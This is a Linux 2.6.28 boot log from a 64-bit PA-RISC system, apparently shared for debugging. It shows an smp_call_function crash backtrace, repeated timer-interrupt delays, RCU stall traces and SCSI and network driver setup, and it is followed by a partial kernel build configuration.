[42949385.400000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[42949385.400000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[42949385.400000] 
[42949385.400000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040177b88 0000000040177b8c
[42949385.400000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe14050670
[42949385.400000]  CPU:        0   CR30: 00000000ff850000 CR31: 0000000000008020
[42949385.400000]  ORIG_R28: 0000000040104084
[42949385.400000]  IAOQ[0]: smp_call_function_single+0x38/0x120
[42949385.400000]  IAOQ[1]: smp_call_function_single+0x3c/0x120
[42949385.400000]  RP(r2): smp_call_function_mask+0x130/0x2e8
[42949385.400000] Backtrace:
[42949385.400000]  [<0000000040177da0>] smp_call_function_mask+0x130/0x2e8
[42949385.400000]  [<0000000040177f84>] smp_call_function+0x2c/0x38
[42949385.400000]  [<0000000040152b28>] on_each_cpu+0x28/0x68
[42949385.400000]  [<000000004011bd04>] flush_data_cache+0x24/0x30
[42949385.400000]  [<000000004011b1a4>] free_initmem+0x94/0x338
[42949385.400000]  [<000000004011a2ec>] init_post+0x1c/0x238
[42949385.400000]  [<00000000405a849c>] kernel_init+0x34c/0x380
[42949385.400000] 
[42949385.400000] 268k freed
[42949385.400000] Write protecting the kernel read-only data: 504k
[42949385.400000] SCSI subsystem initialized
[42949385.400000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[42949385.400000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
[42949385.400000] tulip0: no phy info, aborting mtable build
[42949385.400000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
[42949385.400000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
[42949385.400000] tulip 0000:18:00.0: enabling device (0140 -> 0143)
[42949385.400000] tulip1:  EEPROM default media type Autosense.
[42949385.400000] tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
[42949385.400000] tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
[42949385.400000] tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
[42949385.400000] eth1: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff9840000, 00:10:83:fb:99:c0, IRQ 72.
[42949385.400000] sym53c8xx 0000:00:01.0: enabling device (0140 -> 0143)
[42949385.400000] sym0: <896> rev 0x5 at pci 0000:00:01.0 irq 67
[42949385.400000] sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[42949385.400000] sym0: SCSI BUS has been reset.
[42949385.400000] scsi0 : sym-2.2.3
[42949385.400000] timer_interrupt(CPU 0): delayed! cycles 100001588 rem 8BD88  next/now 5048400084/514840160C
[42949395.170000] timer_interrupt(CPU 0): delayed! cycles 1000002C8 rem 8AAC8  next/now 51487A7C04/52487A7ECC
[42949404.940000] timer_interrupt(CPU 0): delayed! cycles 1000002B1 rem 8AAB1  next/now 5248B4F784/5348B4FA35
[42949404.940000] RCU detected CPU 0 stall (t=4294940494/977 jiffies)
[42949404.940000] Backtrace:
[42949404.940000]  [<000000004011ccbc>] show_stack+0x14/0x20
[42949404.940000]  [<00000000401157d0>] dump_stack+0x18/0x28
[42949404.940000]  [<0000000040185bd8>] __rcu_pending+0xb8/0x348
[42949404.940000]  [<0000000040185ea8>] rcu_pending+0x40/0x90
[42949404.940000]  [<0000000040159504>] update_process_times+0x64/0xc8
[42949404.940000]  [<000000004011e03c>] timer_interrupt+0x184/0x218
[42949404.940000]  [<00000000401818b8>] handle_IRQ_event+0x60/0xc0
[42949404.940000]  [<00000000401819e4>] __do_IRQ+0xcc/0x288
[42949404.940000]  [<000000004011e81c>] do_cpu_irq_mask+0x204/0x290
[42949404.940000]  [<0000000040104074>] intr_return+0x0/0x4
[42949404.940000]  [<000000004012603c>] cpu_idle+0x7c/0x88
[42949404.940000]  [<000000004010b21c>] rest_init+0xbc/0xc8
[42949404.940000] 
[42949414.710000] timer_interrupt(CPU 0): delayed! cycles 1000005A6 rem 8ADA6  next/now 5348EF7304/5448EF78AA
[42949424.480000] timer_interrupt(CPU 0): delayed! cycles 1000002AD rem 8AAAD  next/now 544929EE84/554929F131
[42949434.250000] timer_interrupt(CPU 0): delayed! cycles 1000002AE rem 8AAAE  next/now 5549646A04/5649646CB2
[42949444.020000] sym53c8xx 0000:00:01.1: enabling device (0146 -> 0147)
[42949444.020000] sym1: <896> rev 0x5 at pci 0000:00:01.1 irq 68
[42949444.020000] sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[42949444.020000] sym1: SCSI BUS has been reset.
[42949444.020000] scsi1 : sym-2.2.3
[42949444.020000] timer_interrupt(CPU 0): delayed! cycles 100002041 rem 8C841  next/now 56499EE584/57499F05C5
[42949453.790000] timer_interrupt(CPU 0): delayed! cycles 1000004A8 rem 8ACA8  next/now 5749D96104/5849D965AC
[42949463.560000] timer_interrupt(CPU 0): delayed! cycles 100000686 rem 8AE86  next/now 584A13DC84/594A13E30A
[42949473.330000] timer_interrupt(CPU 0): delayed! cycles 10000053C rem 8AD3C  next/now 594A4E5804/5A4A4E5D40
[42949483.100000] timer_interrupt(CPU 0): delayed! cycles 10000060E rem 8AE0E  next/now 5A4A88D384/5B4A88D992
[42949492.870000] timer_interrupt(CPU 0): delayed! cycles 10000043C rem 8AC3C  next/now 5B4AC34F04/5C4AC35340
[42949502.640000] scsi 1:0:2:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
[42949502.640000]  target1:0:2: tagged command queuing enabled, command queue depth 16.
[42949502.640000]  target1:0:2: Beginning Domain Validation
[42949502.640000]  target1:0:2: asynchronous
[42949502.640000]  target1:0:2: wide asynchronous
[42949502.640000]  target1:0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[42949502.640000]  target1:0:2: Domain Validation skipping write tests
[42949502.640000]  target1:0:2: Ending Domain Validation
[42949502.640000] sym53c8xx 0000:00:02.0: enabling device (0140 -> 0143)
[42949502.640000] sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 68
[42949502.640000] sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[42949502.640000] sym2: SCSI BUS has been reset.
[42949502.640000] scsi2 : sym-2.2.3
[42949502.640000] timer_interrupt(CPU 0): delayed! cycles 100001FDA rem 8C7DA  next/now 5C4AFDCA84/5D4AFDEA5E
[42949512.410000] timer_interrupt(CPU 0): delayed! cycles 1000004D3 rem 8ACD3  next/now 5D4B384604/5E4B384AD7
[42949522.180000] timer_interrupt(CPU 0): delayed! cycles 100000612 rem 8AE12  next/now 5E4B72C184/5F4B72C796
[42949531.950000] timer_interrupt(CPU 0): delayed! cycles 100000EAA rem 8B6AA  next/now 5F4BAD3D04/604BAD4BAE
[42949541.720000] timer_interrupt(CPU 0): delayed! cycles 100000650 rem 8AE50  next/now 604BE7B884/614BE7BED4
[42949551.490000] timer_interrupt(CPU 0): delayed! cycles 1000005A2 rem 8ADA2  next/now 614C223404/624C2239A6
[42949561.260000] scsi 2:0:2:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
[42949561.260000]  target2:0:2: tagged command queuing enabled, command queue depth 16.
[42949561.260000]  target2:0:2: Beginning Domain Validation
[42949561.260000]  target2:0:2: asynchronous
[42949561.260000]  target2:0:2: wide asynchronous
[42949561.260000]  target2:0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[42949561.260000]  target2:0:2: Domain Validation skipping write tests
[42949561.260000]  target2:0:2: Ending Domain Validation
[42949561.260000] sym53c8xx 0000:00:02.1: enabling device (0140 -> 0143)
[42949561.260000] sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 69
[42949561.260000] sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[42949561.260000] sym3: SCSI BUS has been reset.
[42949561.260000] scsi3 : sym-2.2.3
[42949561.260000] timer_interrupt(CPU 0): delayed! cycles 100001FD5 rem 8C7D5  next/now 624C5CAF84/634C5CCF59
[42949571.030000] Driver 'sd' needs updating - please use bus_type methods
[42949571.030000] sd 1:0:2:0: [sda] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949571.030000] sd 1:0:2:0: [sda] Write Protect is off
[42949571.030000] sd 1:0:2:0: [sda] Mode Sense: 9f 00 10 08
[42949571.030000] sd 1:0:2:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949571.030000] sd 1:0:2:0: [sda] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949571.030000] sd 1:0:2:0: [sda] Write Protect is off
[42949571.030000] sd 1:0:2:0: [sda] Mode Sense: 9f 00 10 08
[42949571.030000] sd 1:0:2:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949571.030000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[42949571.030000] sd 1:0:2:0: [sda] Attached SCSI disk
[42949571.030000] sd 2:0:2:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949571.030000] sd 2:0:2:0: [sdb] Write Protect is off
[42949571.030000] sd 2:0:2:0: [sdb] Mode Sense: 9f 00 10 08
[42949571.030000] sd 2:0:2:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949571.030000] sd 2:0:2:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949571.030000] sd 2:0:2:0: [sdb] Write Protect is off
[42949571.030000] sd 2:0:2:0: [sdb] Mode Sense: 9f 00 10 08
[42949571.030000] sd 2:0:2:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949571.030000]  sdb: unknown partition table
[42949571.030000] sd 2:0:2:0: [sdb] Attached SCSI disk
[42949571.030000] timer_interrupt(CPU 0): delayed! cycles 100002363 rem 8CB63  next/now 634C972B04/644C974E67
[42949580.800000] kjournald starting.  Commit interval 5 seconds
[42949580.800000] EXT3-fs: mounted filesystem with ordered data mode.
[42949580.800000] timer_interrupt(CPU 0): delayed! cycles 100000FB2 rem 8B7B2  next/now 644CD1A684/654CD1B636
[42949590.570000] timer_interrupt(CPU 0): delayed! cycles 1000008A3 rem 8B0A3  next/now 654D0C2204/664D0C2AA7
[42949590.570000] RCU detected CPU 0 stall (t=4294959057/977 jiffies)
[42949590.570000] Backtrace:
[42949590.570000]  [<000000004011ccbc>] show_stack+0x14/0x20
[42949590.570000]  [<00000000401157d0>] dump_stack+0x18/0x28
[42949590.570000]  [<0000000040185bd8>] __rcu_pending+0xb8/0x348
[42949590.570000]  [<0000000040185ea8>] rcu_pending+0x40/0x90
[42949590.570000]  [<0000000040159504>] update_process_times+0x64/0xc8
[42949590.570000]  [<000000004011e03c>] timer_interrupt+0x184/0x218
[42949590.570000]  [<00000000401818b8>] handle_IRQ_event+0x60/0xc0
[42949590.570000]  [<00000000401819e4>] __do_IRQ+0xcc/0x288
[42949590.570000]  [<000000004011e81c>] do_cpu_irq_mask+0x204/0x290
[42949590.570000]  [<0000000040104074>] intr_return+0x0/0x4
[42949590.570000]  [<000000004012603c>] cpu_idle+0x7c/0x88
[42949590.570000]  [<000000004010b21c>] rest_init+0xbc/0xc8
[42949590.570000] 
[42949600.340000] timer_interrupt(CPU 0): delayed! cycles 100000917 rem 8B117  next/now 664D469D84/674D46A69B
[42949610.110000] udevd version 125 started
[42949610.110000] timer_interrupt(CPU 0): delayed! cycles 10000241B rem 8CC1B  next/now 674D811904/684D813D1F
[42949619.880000] scsi 3:0:2:0: CD-ROM            HP       DVD-ROM 304      2.00 PQ: 0 ANSI: 2
[42949619.880000]  target3:0:2: Beginning Domain Validation
[42949619.880000]  target3:0:2: asynchronous
[42949619.880000]  target3:0:2: FAST-20 SCSI 20.0 MB/s ST (50 ns, offset 16)
[42949619.880000]  target3:0:2: Domain Validation skipping write tests
[42949619.880000]  target3:0:2: Ending Domain Validation
[42949619.880000] Driver 'sr' needs updating - please use bus_type methods
[42949619.880000] sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
[42949619.880000] Uniform CD-ROM driver Revision: 3.20
[42949619.880000] sr 3:0:2:0: Attached scsi CD-ROM sr0
[42949619.880000] sd 1:0:2:0: Attached scsi generic sg0 type 0
[42949619.880000] sd 2:0:2:0: Attached scsi generic sg1 type 0
[42949619.880000] sr 3:0:2:0: Attached scsi generic sg2 type 5
[42949619.880000] timer_interrupt(CPU 0): delayed! cycles 1000011EE rem 8B9EE  next/now 684DBB9484/694DBBA672
[42949629.650000] RCU detected CPU 0 stall (t=4294962965/977 jiffies)
[42949629.650000] Backtrace:
[42949629.650000]  [<000000004011ccbc>] show_stack+0x14/0x20
[42949629.650000]  [<00000000401157d0>] dump_stack+0x18/0x28
[42949629.650000]  [<0000000040185bd8>] __rcu_pending+0xb8/0x348
[42949629.650000]  [<0000000040185ea8>] rcu_pending+0x40/0x90
[42949629.650000]  [<0000000040159504>] update_process_times+0x64/0xc8
[42949629.650000]  [<000000004011e03c>] timer_interrupt+0x184/0x218
[42949629.650000]  [<00000000401818b8>] handle_IRQ_event+0x60/0xc0
[42949629.650000]  [<00000000401819e4>] __do_IRQ+0xcc/0x288
[42949629.650000]  [<000000004011e81c>] do_cpu_irq_mask+0x204/0x290
[42949629.650000]  [<0000000040104074>] intr_return+0x0/0x4
[42949629.650000]  [<000000004016e9e8>] cpu_clock+0x20/0x38
[42949629.650000]  [<0000000040152f40>] __do_softirq+0xc8/0x220
[42949629.650000]  [<0000000040119ba0>] __lock_text_end+0x50/0x68
[42949629.650000] 
[42949631.440000] Adding 1349420k swap on /dev/sda6.  Priority:-1 extents:1 across:1349420k
[42949632.100000] EXT3 FS on sda5, internal journal
[42949634.140000] LASI 82596 driver - Revision: 1.30
[42949634.200000] loop: module loaded
[42949641.360000] eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
[42949641.830000] NET: Registered protocol family 10
[42949641.840000] lo: Disabled Privacy Extensions

config:
#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.28
# Wed Jan  7 19:35:18 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
# CONFIG_GROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
CONFIG_RELAY=y
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
# CONFIG_COMPAT_BRK is not set
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
# CONFIG_MARKERS is not set
CONFIG_OPROFILE=m
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_IO_TRACE=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_CLASSIC_RCU=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_RESOURCES_64BIT=y
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_UNEVICTABLE_LRU=y
CONFIG_COMPAT=y
CONFIG_NR_CPUS=8

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_LEGACY is not set
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
CONFIG_HOTPLUG_PCI=m
CONFIG_HOTPLUG_PCI_FAKE=m
CONFIG_HOTPLUG_PCI_CPCI=y
CONFIG_HOTPLUG_PCI_SHPC=m

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
CONFIG_NET_KEY_MIGRATE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
# CONFIG_IP_PNP_BOOTP is not set
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_NETLABEL=y
CONFIG_NETWORK_SECMARK=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CT_ACCT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CT_PROTO_DCCP=m
CONFIG_NF_CT_PROTO_GRE=m
CONFIG_NF_CT_PROTO_SCTP=m
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_TPROXY=m
CONFIG_NETFILTER_XTABLES=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
CONFIG_NETFILTER_XT_TARGET_TPROXY=m
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_SECMARK=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
# CONFIG_NETFILTER_XT_MATCH_RECENT_PROC_COMPAT is not set
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_SOCKET=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
CONFIG_IP_VS=m
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=m
CONFIG_IP_VS_WRR=m
CONFIG_IP_VS_LC=m
CONFIG_IP_VS_WLC=m
CONFIG_IP_VS_LBLC=m
CONFIG_IP_VS_LBLCR=m
CONFIG_IP_VS_DH=m
CONFIG_IP_VS_SH=m
CONFIG_IP_VS_SED=m
CONFIG_IP_VS_NQ=m

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=m

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=m
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_REDIRECT=m
